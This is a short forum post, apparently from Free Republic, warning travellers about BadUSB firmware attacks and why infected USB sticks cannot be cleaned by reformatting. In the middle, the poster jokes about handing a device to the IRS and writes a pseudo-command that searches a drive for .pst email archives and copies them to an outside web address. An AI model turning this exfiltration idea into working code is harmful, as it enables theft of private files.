Now we know that USB devices can be used to hack your computer when configured in non-standard fashions. Those of us who do any traveling should take note.

Mods, let Me know if there is a better way to post this please.

Here is one I want to give to the IRS with the following script:

FIND -search C:\ *.pst >> COPY http:\\freerepublic.com/post

Further info:

Most troubling of all, BadUSB-corrupted devices are much harder to disinfect. Reformatting an infected USB stick, for example, will do nothing to remove the malicious programming. Because the tampering resides in the firmware, the malware can be eliminated only by replacing the booby-trapped device software with the original firmware.
